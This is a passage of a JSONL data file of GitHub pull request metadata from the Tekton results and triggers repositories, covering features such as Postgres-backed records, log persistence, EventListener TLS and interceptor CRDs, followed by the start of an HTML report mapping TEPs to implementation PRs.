Tekton Pipeline data\r\npayloads - Tekton proto type generation was difficult, so we were\r\nrelying on manually created types that missed fields. These fields would\r\nbe dropped from the CRD -> proto conversion causing us to lose data.\r\nThis change lets us store the complete payload as-is without any loss.\r\n2. Make it easier for clients to provide custom types without needing to\r\ndefine additional proto types.\r\n\r\nAlong with this change, we are changing the underlying database from\r\nMySQL -> Postgres in order to take advantage of json specific types/features\r\n(https://www.postgresql.org/docs/9.4/datatype-json.html). This commit\r\ndoes **not** include any mechanism to migrate previous Records / Results to\r\nPostgres. Tooling for this will be a blocker before the 0.1.3 release.\r\n\r\n- Records now use a different Any type that expects JSON serialized\r\nrecord data.\r\n- List syntax for results / records is now slightly different - you no\r\nlonger provide leading `result` or `record` prefixes. e.g.\r\n\r\n Before | After\r\n -----------------------------------|------\r\n result.name == \"foo\" | name == \"foo\"\r\n record.data.metadata.name == \"bar\" | data.metadata.name = \"bar\"\r\n\r\n---\r\n\r\nFixes https://github.com/tektoncd/results/issues/99, https://github.com/tektoncd/results/issues/101, https://github.com/tektoncd/results/issues/120", "created_at": "2021-08-04T20:09:56Z", "deletions": 676, "discovered_via": "tep_file_link", "files_changed": 35, "labels": ["size/XXL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2021-08-11T15:49:06Z", "pr_number": 121, "repo": "results", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "wlynch"], "title": "JSON Serialized Records + Postgres impl."} +{"additions": 3901, "body": "This PR is a proof of concept for persisting and serving TaskRun logs with Tekton Results (#198). In this concept, the Results apiserver receives logs from the watchers, and stores the logs to a persistent volume. These logs can then be retrieved and served over gRPC.\r\n\r\nThe watcher utilizes the `tektoncd/cli` (tkn) libraries to fetch and forward the logs, preserving the formatting that `tkn` users are familiar with. gRPC streaming APIs are used to ensure that apiservers are not overloaded. When forwarding logs, a separate results record is created to contain relevant metadata used to fetch and serve the logs. \r\n\r\nThe apiserver receives logs from the watcher, ensuring that the location of the file and file size are stored in the results database. The logs can then be retrieved by the log record's name. The concept - as it stands - only supports forwarding and serving logs from the mounted persistent volume. Other file serving mechanisms could be supported, such as retrieving logs from Loki or ElasticSearch.\r\n\r\n_Note to reviewers:_ This PR is intended to present an overall picture of how #198 could be implemented. I would not be offended if it can't be merged as is, as it is quite large and consists of several commits that can't be easily squashed/reorganized.", "created_at": "2022-07-05T23:21:08Z", "deletions": 440, "discovered_via": "tep_file_link", "files_changed": 34, "labels": ["needs-rebase", "needs-ok-to-test", "size/XXL"], "linked_issues": [], "merged_at": null, "pr_number": 203, "repo": "results", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Proof of Concept: Persist and Serve TaskRun Logs"} +{"additions": 443627, "body": "# Description\r\n\r\n[[TEP-0117] Tekton Results Logs](https://github.com/tektoncd/community/blob/main/teps/0117-tekton-results-logs.md)\r\n\r\nThis PR extends [Tekton Results](https://github.com/tektoncd/results) to support log persistence outside of the host Kubernetes cluster. With this feature results will be able to store `PipelineRun` and `TaskRun` logs in the following persistent locations:\r\n\r\n- File (PVC)\r\n- S3 (S3 compatible storage)\r\n\r\n# Release Notes\r\n```release-note\r\nKubernetes version: 1.22.x\r\nTekton Pipeline version: 0.42.0\r\n\r\nAdd support for storing PipelineRun and TaskRun logs in persistent storage backends.\r\nRefer to the TEP-0117 for more details.\r\n```\r\n", "created_at": "2023-01-03T00:42:14Z", "deletions": 27941, "discovered_via": "tep_file_link", "files_changed": 2812, "labels": ["kind/feature", "ok-to-test", "size/XXL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2023-02-07T17:06:13Z", "pr_number": 301, "repo": "results", "review_decision": "COMMENTED", "reviewer_logins": ["adambkaplan", "avinal", "dibyom", "khrm", "sayan-biswas"], "title": "[TEP-0117] Tekton Results Logs"} +{"additions": 1485, "body": "Events are stored when we are done with Runs and in a single List.\r\n\r\n\r\n\r\n# Changes\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you review them:\r\n\r\n- [ ] Has [Docs](https://github.com/tektoncd/community/blob/main/standards.md#docs) included if any changes are user facing\r\n- [ ] Has [Tests](https://github.com/tektoncd/community/blob/main/standards.md#tests) included if any functionality added or changed\r\n- [ ] [Tested your changes locally](https://github.com/tektoncd/results/blob/main/docs/DEVELOPMENT.md) (if this is a code change)\r\n- [ ] Follows the [commit message standard](https://github.com/tektoncd/community/blob/main/standards.md#commits)\r\n- [ ] Meets the [Tekton contributor standards](https://github.com/tektoncd/community/blob/main/standards.md) (including functionality, content, code)\r\n- [ ] Has a kind label. You can add a comment on this PR that contains `/kind `. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep\r\n- [ ] Release notes block below has been updated with any user-facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)\r\n- [ ] Release notes contain the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n\r\n", "created_at": "2024-04-02T08:55:03Z", "deletions": 305, "discovered_via": "tep_file_link", "files_changed": 32, "labels": ["kind/feature", "needs-rebase", "size/XXL", "release-note", "do-not-merge/work-in-progress", "do-not-merge/hold"], "linked_issues": [], "merged_at": null, "pr_number": 745, "repo": "results", "review_decision": "COMMENTED", "reviewer_logins": ["khrm"], "title": "WIP: POC for Storing List of Events"} +{"additions": 920, "body": "# Changes\r\n\r\n/kind misc\r\n\r\n Adds the Trigger type. It has not been wired up and cannot be used yet. \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n\r\n", "created_at": "2020-06-23T00:09:26Z", "deletions": 231, "discovered_via": "tep_file_link", "files_changed": 22, "labels": ["lgtm", "size/L", "approved", "kind/misc"], "linked_issues": [], "merged_at": "2020-07-01T18:09:03Z", "pr_number": 628, "repo": "triggers", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["dibyom", "dorismeixing", "khrm", "savitaashture", "wlynch"], "title": "Add a new CRD type called Trigger"} +{"additions": 550, "body": "# Changes\r\n\r\nFix: https://github.com/tektoncd/triggers/issues/727\r\n\r\nAs described in the issue the feature is part of [TEP](https://github.com/tektoncd/community/pull/162) and addresses supporting podtemplate duck type to kubernetes resources. \r\n\r\nSigned-off-by: Savita Ashture sashture@redhat.com\r\n\r\n/kind feature\r\n\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n\r\n\r\nA new field `resources` has been introduced as part of EventListener spec\r\n\r\n```\r\napiVersion: triggers.tekton.dev/v1alpha1\r\nkind: EventListener\r\nmetadata:\r\n name: github-listener-interceptor\r\nspec:\r\n triggers:\r\n ...\r\n resources:\r\n kubernetesResource:\r\n serviceType: NodePort\r\n spec:\r\n template:\r\n metadata:\r\n labels:\r\n key: \"value\"\r\n annotations:\r\n key: \"value\"\r\n spec:\r\n serviceAccountName: tekton-triggers-github-sa\r\n nodeSelector:\r\n app: test\r\n tolerations:\r\n - key: key\r\n value: value\r\n operator: Equal\r\n effect: NoSchedule\r\n```\r\n`resources` field mainly contains information that whether the resource is built in `kubernetes` or `custom`\r\n\r\nAs of now `resources` field support `kubernetesResource` which helps to use [PodSpecable](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L49) ducktype and with the help of ducktype can avoid specifying `serviceAccountName`, `serviceType` and `podTemplate` as part of eventlistener spec\r\n\r\nAs of now for backward compatibility both way supported and `resources` are optional.\r\n\r\nOnce we deprecate old way then `resources` field becomes mandatory if anyone wants to specify `serviceAccountName`, `serviceType` and `podSpec`.\r\n\r\n#### Advantages\r\n\r\n1. Including `kubernetesResource` as part of `resources` helps to make use of [PodSpecable](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L49) duck type\r\nand this way we can avoid hardcoding of podSpec fields as part of `podTemplate`.\r\n\r\n2. Including `customResource` as part of `resources` will help triggers to make use of any CRD `ex: Knative Service` which helps triggers to get the serverless functionality.\r\nthis is not supported as part of this PR but will continue as part of this [TEP](https://github.com/tektoncd/community/pull/162)\r\n", "created_at": "2020-08-31T14:02:46Z", "deletions": 19, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["kind/feature", "release-note", "size/XL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2020-09-21T19:25:49Z", "pr_number": 734, "repo": "triggers", "review_decision": "COMMENTED", "reviewer_logins": ["dibyom", "savitaashture"], "title": "Enhance existing eventlistener to support PodTemplate for Deployment using duck type"} +{"additions": 912, "body": "# Changes\r\nEventListener have NamespaceSelector field which gives us namespaces from where EventListener fetches Trigger object to process events.\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n```release-note\r\n\r\nAdded Namespace Selector field for EventListener which enables EventListener to serve across the namespace. `namespaceSelector` field with `matchNames` need to be provided to enable selector.\r\n`\r\n namespaceSelector:\r\n matchNames:\r\n - nsName1\r\n - nsName2\r\n`\r\n```", "created_at": "2020-09-28T06:49:21Z", "deletions": 401, "discovered_via": "tep_file_link", "files_changed": 30, "labels": ["kind/feature", "size/XXL", "release-note", "lgtm", "approved"], "linked_issues": [], "merged_at": "2020-11-20T11:59:29Z", "pr_number": 773, "repo": "triggers", "review_decision": "COMMENTED", "reviewer_logins": ["dibyom", "khrm", "savitaashture"], "title": "Add EventListener Selector For TriggerCRD"} +{"additions": 786, "body": "# Changes\r\n\r\nIssue: https://github.com/tektoncd/triggers/issues/650\r\n\r\nAs part of this PR Triggers eventlistener now support end to end secure connection to eventlistener pod.\r\nFor more info about the feature refer [TEP-0027](https://github.com/tektoncd/community/blob/master/teps/0027-https-connection-to-triggers-eventlistener.md) .\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n\r\n`HTTPS` connection to eventlistener can be configured by tweaking eventlistener configuration\r\n```\r\n apiVersion: triggers.tekton.dev/v1alpha1\r\n kind: EventListener\r\n metadata:\r\n name: github-listener-interceptor\r\n spec:\r\n ...\r\n resources:\r\n kubernetesResource:\r\n spec:\r\n template:\r\n spec:\r\n serviceAccountName: tekton-triggers-github-sa\r\n containers:\r\n - env:\r\n - name: TLS_CERT\r\n valueFrom:\r\n secretKeyRef:\r\n name: tls-key-secret\r\n key: tls.crt\r\n - name: TLS_KEY\r\n valueFrom:\r\n secretKeyRef:\r\n name: tls-key-secret\r\n key: tls.key\r\n``` \r\n**Note:**\r\n`TLS_CERT`, `TLS_KEY` are **RESERVED** env", "created_at": "2020-10-31T15:12:13Z", "deletions": 132, "discovered_via": "tep_file_link", "files_changed": 11, "labels": ["release-note", "size/XL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2020-11-20T13:48:30Z", "pr_number": 819, "repo": "triggers", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "khrm", "savitaashture"], "title": "Allow secure connection to eventlistener pod"} +{"additions": 2046, "body": "# Changes\r\nThere are two commits in this PR:\r\n\r\n1. TEP-0022: Add interface to support event bodies\r\n\r\nThis commit adds two new types for InterceptorRequest and\r\nInterceptorResponse. Instead of just forwarding the incoming request,\r\nEventListeners will use these types to send requests to interceptors.\r\n\r\nThis commit introduces an `extensions` field where Interceptors can add\r\nadditional data that is available to TriggerBindings. This replaces the\r\nprevious mechanism where Interceptors could freely modify the input\r\nbodies. With this change, the input bodies are immutable, and any extra\r\nfields added by Interceptors can only be done within the `extensions`\r\nfield.\r\n\r\nThis commit simply adds the new interface types and plumbing. Future\r\ncommits will change the Interceptors to adopt the new Interface.\r\n\r\n2. Migrate CEL to new Interceptor Interface\r\n\r\nThis commit updates the CEL interceptor to use the new interface that supports\r\nimmutable input event bodies. This represents a BREAKING CHANGE for users using\r\n`overlays`. Overlays will no longer modify the request body. Instead `keys`\r\nfrom overlays will be added to a new top-level `extensions` field that is\r\naccessible to TriggerBindings.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n```release-note\r\naction required: If you are using `overlays` in the CEL Interceptor, please update your bindings to use $(extensions.) instead of $(body.)\r\n\r\nBREAKING CHANGE:\r\nCEL overlays now add fields to a new top level `extensions` field instead of the modifying the incoming event body. TriggerBindings can access values within this new `extensions` field using `$(extensions.)` syntax.\r\n```\r\n\r\n\r\n\r\n", "created_at": "2020-11-13T18:15:58Z", "deletions": 739, "discovered_via": "tep_file_link", "files_changed": 35, "labels": ["size/XXL", "lgtm", "approved", "release-note-action-required"], "linked_issues": [], "merged_at": "2020-11-18T21:02:29Z", "pr_number": 828, "repo": "triggers", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["bigkevmcd", "dibyom", "khrm", "wlynch"], "title": "TEP-0022: Switch to immutable input event bodies"} +{"additions": 337, "body": "# Changes\r\n\r\n\r\n\r\nCloses #945\r\n\r\nIn this PR:\r\n- [x] proposing simple API spec to get started here\r\n- [x] Update logic of sink to exclude Triggers from sink processing\r\n- [x] Branch logic after interceptors to be able to invoke triggers\r\n- [ ] Update eventlistener response to check if a pipeline was triggered through nesting\r\n- [x] protect eventlistener from infinite nesting\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nEnable sink triggers to invoke downstream triggers to branch validation logic from pipeline logic\r\n```\r\n", "created_at": "2021-02-05T19:28:54Z", "deletions": 71, "discovered_via": "tep_file_link", "files_changed": 13, "labels": ["needs-ok-to-test", "release-note", "needs-rebase", "do-not-merge/work-in-progress", "size/L"], "linked_issues": [945], "merged_at": null, "pr_number": 946, "repo": "triggers", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "Allow Nested triggers to be invoked after interceptor filter chain completes"} +{"additions": 2099, "body": "# Changes\r\n\r\n* Introduced new field `customResource` to support Knative Service for EventListener as part of [TEP0008](https://github.com/tektoncd/community/blob/main/teps/0008-support-knative-service-for-triggers-eventlistener-pod.md#knative-service-or-any-crd)\r\n* address https://github.com/tektoncd/triggers/pull/925, https://github.com/tektoncd/triggers/issues/571\r\n* Added additional printer column to support Knative status condition \r\nlater this can be addressed as part of https://github.com/tektoncd/triggers/issues/932\r\n* Added doc, example\r\n* Added Unit test\r\n* Skipped adding [securityContext](https://github.com/tektoncd/triggers/blob/master/pkg/reconciler/v1alpha1/eventlistener/eventlistener.go#L416-L421) because Knative serving masks securityContext under feature gate\r\n\r\n**Pending:**\r\n* Secure connection for Custom Resource\r\n* Code Refactoring so that common things can be re used\r\n\r\nWill work on subsequent PR for pending things\r\n\r\n/cc @dibyom \r\n\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n\r\n Introduced new field `customResource` to support Knative Service for EventListener \r\n```release-note\r\napiVersion: triggers.tekton.dev/v1alpha1\r\nkind: EventListener\r\nmetadata:\r\n name: github-listener-interceptor-customresource\r\nspec:\r\n ...\r\n resources:\r\n customResource:\r\n apiVersion: serving.knative.dev/v1\r\n kind: Service\r\n metadata:\r\n spec:\r\n template:\r\n spec:\r\n serviceAccountName: tekton-triggers-example-sa\r\n containers:\r\n - resources:\r\n requests:\r\n memory: \"64Mi\"\r\n cpu: \"250m\"\r\n limits:\r\n memory: \"128Mi\"\r\n cpu: \"500m\"\r\n```", "created_at": "2021-02-17T09:17:11Z", "deletions": 172, "discovered_via": "tep_file_link", "files_changed": 29, "labels": ["size/XXL", "release-note", "lgtm", "approved"], "linked_issues": [], "merged_at": "2021-03-03T00:00:45Z", "pr_number": 958, "repo": "triggers", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "savitaashture", "sergetron"], "title": "Add support for custom object to triggers eventlistener"} +{"additions": 2366, "body": "# Changes\r\n\r\nThis commit adds a new CRD type called ClusterInterceptor. In TEP-0026 this\r\ntype was called InterceptorConfig \r\n\r\nThe `spec` currently only contains a clientConfig field to locate where\r\nthe interceptoris running. Other fields will be added as they are\r\nimplemented in follow ups.\r\n\r\nThis commit also adds a simple reconciler for this type that resolves\r\nthe clientConfig to a URL and adds it to the `status.address.url` field.\r\n\r\nPart of #868\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [ ] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nA new CRD called ClusterInterceptor has been added that allows for users to register new Interceptor types.\r\n```\r\n\r\n", "created_at": "2021-02-17T19:32:42Z", "deletions": 147, "discovered_via": "tep_file_link", "files_changed": 36, "labels": ["release-note", "size/XL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2021-03-11T17:03:49Z", "pr_number": 960, "repo": "triggers", "review_decision": "APPROVED", "reviewer_logins": ["MarcelMue", "dibyom", "savitaashture", "wlynch"], "title": "Add ClusterInterceptor CRD for registering interceptors"} +{"additions": 313, "body": "# Changes\r\n\r\nMigrate core interceptors to use InterceptorType CRD\r\n\r\nThis commit does the following:\r\n1. Add YAML definitions for installing each core interceptor using the\r\nnew InterceptorType CRD.\r\n2. Modify the EventListener to use the InterceptorType CRD to find the\r\nInterceptor's URL.\r\n\r\nFixes #868\r\n\r\nThis is NOT a breaking change since users can still configure their interceptors in the same way was before. Changes to the way a TriggerInterceptor is configured is coming in #869.\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [ ] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n\r\n\r\nDepends on #960 ", "created_at": "2021-02-26T21:08:26Z", "deletions": 214, "discovered_via": "tep_file_link", "files_changed": 18, "labels": ["release-note", "size/XL", "lgtm", "approved"], "linked_issues": [868], "merged_at": "2021-03-18T05:08:50Z", "pr_number": 976, "repo": "triggers", "review_decision": "APPROVED", "reviewer_logins": ["bigkevmcd", "dibyom", "savitaashture"], "title": "Migrate core interceptors to use InterceptorType CRD"} +{"additions": 593, "body": "# Changes\r\n\r\nThis is a port of https://github.com/tektoncd/triggers/pull/1052 - mostly just fixes so that it can merge cleanly with main\r\n\r\n\r\n```\r\nThis feature allows an operator to specify a set of interceptors that will be executed\r\nbefore a group of triggers are selected and executed. This allows common data\r\nto be passed from interceptor execution down to multiple triggers to solve\r\na set of common use cases across multiple Triggers.\r\n\r\nThis feature is enabled for now inline in the EventListener spec, but in the future\r\nmay be enabled only in alpha once the feature gates proposal is implemented within\r\nthis project.\r\n```\r\n\r\nSo far I've done the following\r\n- Rebased #1052 with latest main branch\r\n- Removed some old code that returned that waited for triggers to finish processing before returning\r\n- Move the types to v1beta1 (still need to delete it from v1alpha1)\r\n- Fix the correct body/header to triggers within a trigger group\r\n- Ensure we wait for triggers in triggerGroups to process to fix sink tests\r\n- Ported webhook validation to v1beta1\r\n- Added an extra validation check + tests to enable the field only when `enable-api-fields` is set to `alpha`\r\n- Moved the examples to v1beta1\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [x] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [x] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n\r\n\r\n\r\n```release-note\r\nAdds a new TriggerGroups field to EventListener spec that allows users to specify a set of interceptors that will be executed\r\nbefore a group of triggers are selected and executed. To enable this feature set `enable-api-fields` to `alpha` in the `feature-flags-triggers` config map.\r\n```", "created_at": "2021-10-01T21:01:29Z", "deletions": 187, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["release-note", "size/XL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2021-10-12T04:50:32Z", "pr_number": 1232, "repo": "triggers", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "jeffmaury", "savitaashture", "wlynch"], "title": "Feature: TriggerGroups"} +{"additions": 441, "body": "# Changes\r\n\r\nTEP: https://github.com/tektoncd/community/pull/662\r\n\r\n\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [ ] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n\r\n# Release Notes\r\n\r\n\r\n```release-note\r\nTriggers now support end to end secure connection by running ClusterInterceptor server as HTTPS \r\n```", "created_at": "2022-03-24T03:48:26Z", "deletions": 135, "discovered_via": "tep_file_link", "files_changed": 19, "labels": ["kind/feature", "release-note", "size/XL", "lgtm", "approved"], "linked_issues": [], "merged_at": "2022-05-02T20:13:53Z", "pr_number": 1333, "repo": "triggers", "review_decision": "APPROVED", "reviewer_logins": ["dibyom", "savitaashture"], "title": "Add changes to run clusterinterceptor as HTTPS"} +{"additions": 3187, "body": "# Changes\r\nThis commit adds a proof of concept for canceling concurrent pipelineruns created by the same trigger. It adds a new field \"concurrency\" to Trigger, with parameters, a key that supports parameter substitution, and a strategy (for now, just \"cancel\" is supported). If a trigger specifies concurrency controls, it will apply a concurrency label to any pipelineruns it creates. The sink pod will check for any pipelineruns with the same label in the same namespace and cancel any running pipelineruns that match.\r\n\r\nTested this out locally and it works; will update with a demo video. I don't intend for this to be merged.\r\n\r\n/kind feature\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#tests) (if functionality changed/added)\r\n- [ ] Includes [docs](https://github.com/tektoncd/community/blob/master/standards.md#docs) (if user facing)\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commits)\r\n- [ ] Release notes block has been filled in or deleted (only if no user facing changes)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/triggers/blob/master/CONTRIBUTING.md) for more details._\r\n", "created_at": "2022-09-08T17:26:56Z", "deletions": 57, "discovered_via": "tep_file_link", "files_changed": 49, "labels": ["kind/feature", "size/XXL", "do-not-merge/work-in-progress", "do-not-merge/release-note-label-needed"], "linked_issues": [], "merged_at": null, "pr_number": 1446, "repo": "triggers", "review_decision": "COMMENTED", "reviewer_logins": [], "title": "POC: Concurrency controls"} diff --git a/reports/impl_prs_report.html b/reports/impl_prs_report.html new file mode 100644 index 0000000..a5fa03b --- /dev/null +++ b/reports/impl_prs_report.html @@ -0,0 +1,85 @@ + + + + +Implementation PR Report + + + +
+

Implementation PR Report

+

Generated 2026-07-27 11:12 UTC — source: raw/impl_prs.jsonl and raw/impl_pr_reviews.jsonl

+
+
254
Selected PR links
+
254
Fetched PR records
+
0
Not found (404)
+
5740
Review comments
+
+
+ Implementation PRs by TEP +
+ + + +
TEPTitleImplementation PR(s)
TEP-0001Tekton Enhancement Proposal Processexperimental#461 APPROVED
TEP-0002Custom Taskspipeline#3463 APPROVEDpipeline#3601 APPROVED
TEP-0004Task Results in Final Taskscommunity#240 APPROVEDpipeline#3242 APPROVED
TEP-0008Support Knative Service for Triggers EventListener Podcommunity#186 COMMENTEDtriggers#734 COMMENTEDtriggers#958 APPROVED
TEP-0009Trigger CRDtriggers#628 CHANGES_REQUESTEDtriggers#773 COMMENTED
TEP-0011redirecting-step-output-streamspipeline#3103 COMMENTEDpipeline#4882 COMMENTED
TEP-0012API Specificationpipeline#3131 APPROVEDpipeline#3400 APPROVED
TEP-0014Step Timeoutpipeline#3087 CHANGES_REQUESTED
TEP-0015pending-pipeline-runpipeline#3522 COMMENTED
TEP-0020s390x Supportcommunity#211 APPROVED
TEP-0021Tekton Results APIpipeline#1921 COMMENTED
TEP-0022Triggers - Immutable Input Eventscommunity#217 CHANGES_REQUESTEDtriggers#828 CHANGES_REQUESTED
TEP-00230023-Implicit-parameter-mappingpipeline#4127 APPROVED
TEP-0026interceptor-pluginscommunity#229 CHANGES_REQUESTEDcommunity#218 COMMENTEDtriggers#960 APPROVEDtriggers#976 APPROVED
TEP-0027HTTPS Connection to Triggers EventListenertriggers#819 APPROVED
TEP-0028task-exec-status-at-runtimepipeline#3390 APPROVED
TEP-0029step-and-sidecar-workspacespipeline#3700 APPROVED
TEP-0030workspace-pathscatalog#499 APPROVED
TEP-0031tekton-bundles-clicli#1312 APPROVEDcli#1328 CHANGES_REQUESTED
TEP-0033Tekton Feature Gatescommunity#326 COMMENTEDpipeline#3881 COMMENTED
TEP-0035document-tekton-position-around-policy-authentication-authorizationpipeline#2797 COMMENTED
TEP-0039Add Variable `retries` and `retry-count`pipeline#3770 APPROVED
TEP-0040Ignore Step Errorspipeline#1573 COMMENTEDpipeline#4106 APPROVED
